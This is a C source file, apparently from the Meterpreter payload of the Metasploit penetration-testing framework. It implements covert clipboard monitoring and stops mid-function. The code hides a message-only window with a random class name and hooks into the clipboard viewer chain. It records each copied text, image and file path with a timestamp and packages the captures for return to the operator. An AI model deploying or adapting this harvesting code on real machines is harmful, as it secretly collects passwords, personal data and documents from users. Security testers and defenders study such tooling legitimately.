1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00
2017-05-14 02:11:57 -05:00

1477 lines
47 KiB
C

/*!
* @file clipboard.c
* @brief Definitions for clipboard interaction functionality.
*/
#include "extapi.h"
#include "../../common/thread.h"
#include "clipboard.h"
#include "clipboard_image.h"
/*! @brief The different types of captures that the monitor supports. */
typedef enum _ClipboadrCaptureType
{
CapText, ///! Capture is just plain text.
CapFiles, ///! Capture is a list of one or more files.
CapImage ///! Capture is an image.
} ClipboardCaptureType;
/*! @brief Container for image capture data. */
typedef struct _ClipboardImage
{
DWORD dwWidth; ///! Width of the image.
DWORD dwHeight; ///! Height of the image.
DWORD dwImageSize; ///! Size of the image, in bytes.
LPBYTE lpImageContent; ///! Pointer to the image content.
} ClipboardImage;
/*! @brief Container for file capture data. */
typedef struct _ClipboardFile
{
LPSTR lpPath; ///! Full path to the file.
QWORD qwSize; ///! Size of the file in bytes.
struct _ClipboardFile* pNext; ///! Pointer to the next file in the copied batch.
} ClipboardFile;
/*! @brief Container for file capture data. */
typedef struct _ClipboardCapture
{
ClipboardCaptureType captureType; ///! Indicates the type of capture for this entry.
union
{
LPSTR lpText; ///! Set when the captureType is CapText.
ClipboardImage* lpImage; ///! Set when the captureType is CapImage.
ClipboardFile* lpFiles; ///! Set when the captureType is CapFile.
};
SYSTEMTIME stCaptureTime; ///! The time that the clipboard entry was captured.
DWORD dwSize; ///! Size of the clipboard entry.
struct _ClipboardCapture* pNext; ///! Pointer to the next captured clipboard entry.
} ClipboardCapture;
/*! @brief Container for the list of clipboard capture entries. */
typedef struct _ClipboardCaptureList
{
ClipboardCapture* pHead; ///! Pointer to the head of the capture list.
ClipboardCapture* pTail; ///! Pointer to the tail of the capture list.
LOCK* pClipboardCaptureLock; ///! Lock to handle concurrent access to the clipboard capture list.
DWORD dwClipboardDataSize; ///! Indication of how much data we have in memory.
} ClipboardCaptureList;
/*! @brief Container for clipboard monitor state. */
typedef struct _ClipboardState
{
char cbWindowClass[256]; ///! Name to use for the window class when registering the message-only window (usually random).
HWND hClipboardWindow; ///! Handle to the clipboard monitor window.
HWND hNextViewer; ///! Handle to the next window in the clipboard chain.
ClipboardCaptureList captureList; ///! List of clipboard captures.
BOOL bRunning; ///! Indicates if the thread is running or not.
EVENT* hResponseEvent; ///! Handle to the event that signals when the thread has actioned the caller's request.
EVENT* hPauseEvent; ///! Signalled when the caller wants the thread to pause.
EVENT* hResumeEvent; ///! Signalled when the caller wants the thread to resume.
BOOL bCaptureImageData; ///! Capture image data that's found on the clipboard.
THREAD* hThread; ///! Reference to the clipboard monitor thread.
} ClipboardState;
/*! @brief Pointer to the state for the monitor thread. */
static ClipboardState* gClipboardState = NULL;
/*! @brief Flag indicating initialision status of the clipboard state. */
static BOOL gClipboardInitialised = FALSE;
/*! @brief GlobalAlloc function pointer type. */
typedef HGLOBAL(WINAPI * PGLOBALALLOC)(UINT uFlags, SIZE_T dwBytes);
/*! @brief GlobalFree function pointer type. */
typedef HGLOBAL(WINAPI * PGLOBALFREE)(HGLOBAL hMem);
/*! @brief GlobalLock function pointer type. */
typedef LPVOID(WINAPI * PGLOBALLOCK)(HGLOBAL hMem);
/*! @brief GlobalUnlock function pointer type. */
typedef LPVOID(WINAPI * PGLOBALUNLOCK)(HGLOBAL hMem);
/*! @brief OpenClipboard function pointer type. */
typedef BOOL(WINAPI * POPENCLIPBOARD)(HWND hWndNewOwner);
/*! @brief CloseClipboard function pointer type. */
typedef BOOL(WINAPI * PCLOSECLIPBOARD)();
/*! @brief SetClipboardData function pointer type. */
typedef HANDLE(WINAPI * PSETCLIPBOARDDATA)(UINT uFormat, HANDLE hMem);
/*! @brief SetClipboardData function pointer type. */
typedef HANDLE(WINAPI * PGETCLIPBOARDDATA)(UINT uFormat);
/*! @brief EnumClipboardFormats function pointer type. */
typedef UINT(WINAPI * PENUMCLIPBOARDFORMATS)(UINT uFormat);
/*! @brief EmptyClipboard function pointer type. */
typedef BOOL(WINAPI * PEMPTYCLIPBOARD)();
/*! @brief DragQueryFileA function pointer type. */
typedef BOOL(WINAPI * PDRAGQUERYFILEA)(HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch);
/*! @brief CreateFileA function pointer type. */
typedef HANDLE(WINAPI * PCREATEFILEA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
/*! @brief CloseHandle function pointer type. */
typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject);
/*! @brief GetFileSizeEx function pointer type. */
typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize);
static PCLOSECLIPBOARD pCloseClipboard = NULL;
static PCLOSEHANDLE pCloseHandle = NULL;
static PCREATEFILEA pCreateFileA = NULL;
static PDRAGQUERYFILEA pDragQueryFileA = NULL;
static PEMPTYCLIPBOARD pEmptyClipboard = NULL;
static PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL;
static PGETCLIPBOARDDATA pGetClipboardData = NULL;
static PGETFILESIZEEX pGetFileSizeEx = NULL;
static PGLOBALALLOC pGlobalAlloc = NULL;
static PGLOBALFREE pGlobalFree = NULL;
static PGLOBALLOCK pGlobalLock = NULL;
static PGLOBALUNLOCK pGlobalUnlock = NULL;
static POPENCLIPBOARD pOpenClipboard = NULL;
static PSETCLIPBOARDDATA pSetClipboardData = NULL;
/*!
* @brief Initialises the clipboard functionality for use.
* @remark This function has the job of finding all the clipboard related function pointers.
* @returns An indication of success or failure.
*/
DWORD initialise_clipboard()
{
DWORD dwResult;
HMODULE hKernel32 = NULL;
HMODULE hUser32 = NULL;
HMODULE hShell32 = NULL;
do
{
dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
}
if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
}
dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalFree in kernel32.dll");
}
dwResult = ERROR_SUCCESS;
gClipboardInitialised = TRUE;
} while (0);
return dwResult;
}
/*!
* @brief Clean up the list of captures in the given list of captures.
* @param pCaptureList Pointer to the list of captures to clean up.
* @param bRemoveLock If \c TRUE, remove the list capture lock.
* @remark This iterates through the list and correctly frees up all the
* resources used by the list.
*/
VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL bRemoveLock)
{
ClipboardFile* pFile, *pNextFile;
while (pCaptureList->pHead)
{
pCaptureList->pTail = pCaptureList->pHead->pNext;
switch (pCaptureList->pHead->captureType)
{
case CapText:
free(pCaptureList->pHead->lpText);
break;
case CapImage:
free(pCaptureList->pHead->lpImage->lpImageContent);
free(pCaptureList->pHead->lpImage);
break;
case CapFiles:
pFile = pCaptureList->pHead->lpFiles;
while (pFile)
{
pNextFile = pFile->pNext;
free(pFile->lpPath);
free(pFile);
pFile = pNextFile;
}
break;
}
free(pCaptureList->pHead);
pCaptureList->pHead = pCaptureList->pTail;
}
if (bRemoveLock && pCaptureList->pClipboardCaptureLock)
{
lock_destroy(pCaptureList->pClipboardCaptureLock);
pCaptureList->pClipboardCaptureLock = NULL;
}
pCaptureList->pHead = pCaptureList->pTail = NULL;
pCaptureList->dwClipboardDataSize = 0;
}
/*!
* @brief Convert a timestamp value to a string in the form YYYY-MM-DD HH:mm:ss.ffff
* @param pTime Pointer to the \c SYSTEMTIME structure to convert.
* @param buffer Pointer to the buffer that will receive the time value.
*/
VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
{
dprintf("[EXTAPI CLIPBOARD] parsing timestamp %p", pTime);
sprintf_s(buffer, 40, "%04u-%02u-%02u %02u:%02u:%02u.%04u",
pTime->wYear, pTime->wMonth, pTime->wDay,
pTime->wHour, pTime->wMinute, pTime->wSecond, pTime->wMilliseconds);
dprintf("[EXTAPI CLIPBOARD] timestamp parsed");
}
/*!
* @brief Dump all the captured clipboard data to the given packet.
* @param pResponse pointer to the response \c Packet that the data needs to be written to.
* @param pCapture Pointer to the clipboard capture item to dump.
* @param bCaptureImageData Indication of whether to include image data in the capture.
*/
VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
{
ClipboardFile* pFile;
Packet* group = packet_create_group();
TlvType groupType;
Packet* file = NULL;
char timestamp[40];
dprintf("[EXTAPI CLIPBOARD] Dumping clipboard capture");
memset(timestamp, 0, sizeof(timestamp));
timestamp_to_string(&pCapture->stCaptureTime, timestamp);
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp);
switch (pCapture->captureType)
{
case CapText:
dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT;
break;
case CapImage:
dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight);
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG;
break;
case CapFiles:
pFile = pCapture->lpFiles;
while (pFile)
{
dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
file = packet_create_group();
dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize);
packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
dprintf("[EXTAPI CLIPBOARD] Adding group");
packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
pFile = pFile->pNext;
dprintf("[EXTAPI CLIPBOARD] Moving to next");
}
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES;
break;
}
packet_add_group(pResponse, groupType, group);
}
/*!
* @brief Dump the given clipboard capture list to the specified response.
* @param pResponse Pointer to the response \c Packet to write the data to.
* @param pCaptureList Pointer to the list of captures to iterate over and write to the packet.
* @param bCaptureImageData Indication of whether to include image data in the dump.
* @param bPurge Indication of whether to purge the contents of the list once dumped.
* @remark if \c bPurge is \c TRUE the list of capture data is cleared and freed after dumping.
*/
VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptureList, BOOL bCaptureImageData, BOOL bPurge)
{
ClipboardCapture* pCapture = NULL;
lock_acquire(pCaptureList->pClipboardCaptureLock);
pCapture = pCaptureList->pHead;
while (pCapture)
{
dump_clipboard_capture(pResponse, pCapture, bCaptureImageData);
pCapture = pCapture->pNext;
}
if (bPurge)
{
destroy_clipboard_monitor_capture(pCaptureList, FALSE);
}
lock_release(pCaptureList->pClipboardCaptureLock);
}
/*!
* @brief Determine if a capture is a duplicate based on the previously captured element.
* @param pNewCapture Pointer to the new capture value.
* @param pList Pointer to the capture list of existing captures.
* @retval TRUE if the contents of \c pNewCapture are the same as the last element in \c pList.
* @retval FALSE if the contents of \c pNewCapture are not the same as the last element in \c pList.
* @remark This is quite "dumb" and will only check agains the previous value in the list. The goal
* is to reduce fat-fingering copies and reduce the size of the data coming back. If people
* copy the same data multiple times at different times then we want to capture that in the
* timeline. Comparison is just a byte-for-byte compare.
*/
BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
{
ClipboardFile* pTailFiles = NULL;
ClipboardFile* pNewFiles = NULL;
BOOL bResult = FALSE;
lock_acquire(pList->pClipboardCaptureLock);
do
{
if (pList->pTail == NULL)
{
break;
}
if (pList->pTail->captureType != pNewCapture->captureType)
{
break;
}
switch (pNewCapture->captureType)
{
case CapText:
{
if (lstrcmpA(pNewCapture->lpText, pList->pTail->lpText) == 0)
{
bResult = TRUE;
}
break;
}
case CapFiles:
{
pTailFiles = pList->pTail->lpFiles;
pNewFiles = pNewCapture->lpFiles;
while (pTailFiles != NULL && pNewFiles != NULL)
{
if (pTailFiles->qwSize != pNewFiles->qwSize
|| lstrcmpA(pTailFiles->lpPath, pNewFiles->lpPath) != 0)
{
break;
}
pTailFiles = pTailFiles->pNext;
pNewFiles = pNewFiles->pNext;
}
if (pTailFiles == NULL && pNewFiles == NULL)
{
// we got to the end without an early-out, and the lists are
// the same size, so, they're the same!
bResult = TRUE;
}
break;
}
case CapImage:
{
if (pNewCapture->dwSize == pList->pTail->dwSize
&& pNewCapture->lpImage->dwHeight == pList->pTail->lpImage->dwHeight
&& pNewCapture->lpImage->dwWidth == pList->pTail->lpImage->dwWidth)
{
// looking quite similar. if no content given we'll assume different because
// there's little to no damage in recording an extra copy and paste of an image
// without storing the data. So only when they're both non-null will we continue.
if (pNewCapture->lpImage->lpImageContent != NULL
&& pList->pTail->lpImage->lpImageContent != NULL)
{
if (memcmp(pNewCapture->lpImage->lpImageContent, pList->pTail->lpImage->lpImageContent, pNewCapture->lpImage->dwImageSize) == 0)
{
bResult = TRUE;
}
}
}
break;
}
}
} while (0);
lock_release(pList->pClipboardCaptureLock);
return bResult;
}
/*!
* @brief Add a new capture to the list of clipboard captures.
* @param pNewCapture The newly captured clipboard data to add.
* @param pList Pointer to the list of captures to add the item to.
* @returns Indcation of whether the value was added.
* @retval FALSE Indicates that the value was a duplicate, and not added again.
*/
BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
{
if (is_duplicate(pNewCapture, pList))
{
return FALSE;
}
lock_acquire(pList->pClipboardCaptureLock);
pNewCapture->pNext = NULL;
if (pList->pTail == NULL)
{
pList->pHead = pList->pTail = pNewCapture;
}
else
{
pList->pTail->pNext = pNewCapture;
pList->pTail = pList->pTail->pNext = pNewCapture;
}
pList->dwClipboardDataSize += pNewCapture->dwSize;
lock_release(pList->pClipboardCaptureLock);
return TRUE;
}
/*!
* @brief Capture data that is currently on the clipboard.
* @param bCaptureImageData Indication of whether to include image data in the capture.
* @param ppCapture Pointer that will receive a pointer to the newly captured data.
* @returns Indication of success or failure.
* @remark If \c ppCapture contains a value when the function returns, the caller needs
* to call \c free() on that value later when it finished.
*/
DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
{
DWORD dwResult;
DWORD dwCount;
HANDLE hSourceFile = NULL;
PCHAR lpClipString = NULL;
HGLOBAL hClipboardData = NULL;
HDROP hFileDrop = NULL;
UINT uFormat = 0;
UINT uFileIndex = 0;
UINT uFileCount = 0;
CHAR lpFileName[MAX_PATH];
LARGE_INTEGER largeInt = { 0 };
LPBITMAPINFO lpBI = NULL;
PUCHAR lpDIB = NULL;
ConvertedImage image;
ClipboardFile* pFile = NULL;
ClipboardCapture* pCapture = (ClipboardCapture*)malloc(sizeof(ClipboardCapture));
memset(pCapture, 0, sizeof(ClipboardCapture));
pCapture->pNext = NULL;
dprintf("[EXTAPI CLIPBOARD] Getting timestamp");
GetSystemTime(&pCapture->stCaptureTime);
do
{
// Try to get a lock on the clipboard
if (!pOpenClipboard(NULL))
{
dwResult = GetLastError();
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
}
dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data...");
while (uFormat = pEnumClipboardFormats(uFormat))
{
if (uFormat == CF_TEXT)
{
// there's raw text on the clipboard
if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL)
{
dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
pCapture->captureType = CapText;
dwCount = lstrlenA(lpClipString) + 1;
pCapture->lpText = (char*)malloc(dwCount);
memset(pCapture->lpText, 0, dwCount);
strncpy_s(pCapture->lpText, dwCount, lpClipString, dwCount - 1);
pCapture->dwSize = dwCount;
pGlobalUnlock(hClipboardData);
}
}
else if (uFormat == CF_DIB)
{
dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
// an image of some kind is on the clipboard
if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL)
{
dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
// grab the bitmap image size
pCapture->captureType = CapImage;
pCapture->lpImage = (ClipboardImage*)malloc(sizeof(ClipboardImage));
memset(pCapture->lpImage, 0, sizeof(ClipboardImage));
pCapture->lpImage->dwWidth = lpBI->bmiHeader.biWidth;
pCapture->lpImage->dwHeight = lpBI->bmiHeader.biHeight;
// throw together a basic guess for this, it doesn't have to be exact.
pCapture->dwSize = lpBI->bmiHeader.biWidth * lpBI->bmiHeader.biHeight * 4;
// only download the image if they want it
dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
bCaptureImageData ? "WILL" : "will NOT");
if (bCaptureImageData)
{
lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
// TODO: add the ability to encode with multiple encoders and return the smallest image.
if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS)
{
dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
pCapture->lpImage->lpImageContent = image.pImageBuffer;
pCapture->lpImage->dwImageSize = image.dwImageBufferSize;
pCapture->dwSize = image.dwImageBufferSize;
// Just leaving this in for debugging purposes later on
//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
//WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL);
//CloseHandle(hSourceFile);
}
else
{
dwResult = GetLastError();
dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
}
}
pGlobalUnlock(hClipboardData);
}
else
{
dwResult = GetLastError();
dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
}
}
else if (uFormat == CF_HDROP)
{
// there's one or more files on the clipboard
dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard");
dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL)
{
uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
pCapture->captureType = CapFiles;
pFile = pCapture->lpFiles;
for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex)
{
if (pFile == NULL)
{
dprintf("[EXTAPI CLIPBOARD] First file");
pCapture->lpFiles = pFile = (ClipboardFile*)malloc(sizeof(ClipboardFile));
}
else
{
dprintf("[EXTAPI CLIPBOARD] Extra file");
pFile->pNext = (ClipboardFile*)malloc(sizeof(ClipboardFile));
pFile = pFile->pNext;
}
memset(pFile, 0, sizeof(ClipboardFile));
dprintf("[EXTAPI CLIPBOARD] Attempting to get file data");
if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName)))
{
dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
dwCount = lstrlenA(lpFileName) + 1;
pFile->lpPath = (char*)malloc(dwCount);
memset(pFile->lpPath, 0, dwCount);
strncpy_s(pFile->lpPath, dwCount, lpFileName, dwCount - 1);
pCapture->dwSize += dwCount;
memset(&largeInt, 0, sizeof(largeInt));
if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL)
{
if (pGetFileSizeEx(hSourceFile, &largeInt))
{
pFile->qwSize = largeInt.QuadPart;
}
pCloseHandle(hSourceFile);
}
}
}
pGlobalUnlock(hClipboardData);
}
}
}
dwResult = GetLastError();
dprintf("[EXTAPI CLIPBOARD] Finished with result %u (%x)", dwResult, dwResult);
pCloseClipboard();
} while (0);
if (dwResult != ERROR_SUCCESS)
{
free(pCapture);
pCapture = NULL;
}
*ppCapture = pCapture;
return dwResult;
}
/*!
* @brief Message proc function for the hidden clipboard monitor window.
* @param hWnd Handle to the window receiving the message.
* @param uMsg Message that is being received.
* @param wParam First parameter associated with the message.
* @param lParam Second parameter associated with the message.
* @returns Message-specific result.
* @remark This window proc captures the clipboard change events.
*/
LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
DWORD dwResult;
ClipboardState* pState = NULL;
ClipboardCapture* pNewCapture = NULL;
switch (uMsg)
{
case WM_NCCREATE:
return TRUE;
case WM_CREATE:
dprintf("[EXTAPI CLIPBOARD] received WM_CREATE %x (lParam = %p wParam = %p)", hWnd, lParam, wParam);
pState = (ClipboardState*)((CREATESTRUCTA*)lParam)->lpCreateParams;
SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
pState->hNextViewer = SetClipboardViewer(hWnd);
dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer called, next viewer is %x", pState->hNextViewer);
if (!pState->hNextViewer)
{
dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer error %u", GetLastError());
}
return 0;
case WM_CHANGECBCHAIN:
dprintf("[EXTAPI CLIPBOARD] received WM_CHANGECBCHAIN %x", hWnd);
pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
if ((HWND)wParam == pState->hNextViewer)
{
pState->hNextViewer = (HWND)lParam;
dprintf("[EXTAPI CLIPBOARD] Next viewer is now %x", pState->hNextViewer);
}
else if (pState->hNextViewer)
{
SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
}
return 0;
case WM_DRAWCLIPBOARD:
dprintf("[EXTAPI CLIPBOARD] received WM_DRAWCLIPBOARD %x", hWnd);
pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
if (pState->bRunning)
{
dprintf("[EXTAPI CLIPBOARD] thread is running, harvesting clipboard %x", hWnd);
dwResult = capture_clipboard(pState->bCaptureImageData, &pNewCapture);
if (dwResult == ERROR_SUCCESS && pNewCapture != NULL)
{
if (add_clipboard_capture(pNewCapture, &pState->captureList))
{
dprintf("[EXTAPI CLIPBOARD] Capture added %x", hWnd);
}
else
{
free(pNewCapture);
dprintf("[EXTAPI CLIPBOARD] Ignoring duplicate capture", hWnd);
}
}
else
{
dprintf("[EXTAPI CLIPBOARD] Failed to harvest from clipboard %x: %u (%x)", hWnd, dwResult, dwResult);
}
}
else
{
dprintf("[EXTAPI CLIPBOARD] thread is no running, ignoring clipboard change %x", hWnd);
}
if (pState->hNextViewer)
{
dprintf("[EXTAPI CLIPBOARD] Passing on to %x", pState->hNextViewer);
SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
}
return 0;
case WM_DESTROY:
dprintf("[EXTAPI CLIPBOARD] received WM_DESTROY %x", hWnd);
pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
ChangeClipboardChain(hWnd, pState->hNextViewer);
return 0;
default:
dprintf("[EXTAPI CLIPBOARD] received %x for window %x", uMsg);
return DefWindowProcA(hWnd, uMsg, wParam, lParam);
}
}
/*!
* @brief Create a hidden window that will capture clipboard change events.
* @param pState Pointer to the state entity for the current clipboard thread.
* @returns Indication of success or failure.
* @remark This function also registers a random window class.
*/
DWORD create_clipboard_monitor_window(ClipboardState* pState)
{
DWORD dwResult;
BOOL bRegistered = FALSE;
WNDCLASSEXA wndClass = { 0 };
ZeroMemory(&wndClass, sizeof(wndClass));
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = (WNDPROC)clipboard_monitor_window_proc;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszClassName = pState->cbWindowClass;
dprintf("[EXTAPI CLIPBOARD] Setting up the monitor window. Class = %s from %p -> %s", wndClass.lpszClassName, pState, pState->cbWindowClass);
do
{
if (!RegisterClassExA(&wndClass))
{
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to register window class.");
}
dprintf("[EXTAPI CLIPBOARD] Window registered");
bRegistered = TRUE;
pState->hClipboardWindow = CreateWindowExA(0, pState->cbWindowClass, pState->cbWindowClass, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, wndClass.hInstance, pState);
if (pState->hClipboardWindow == NULL)
{
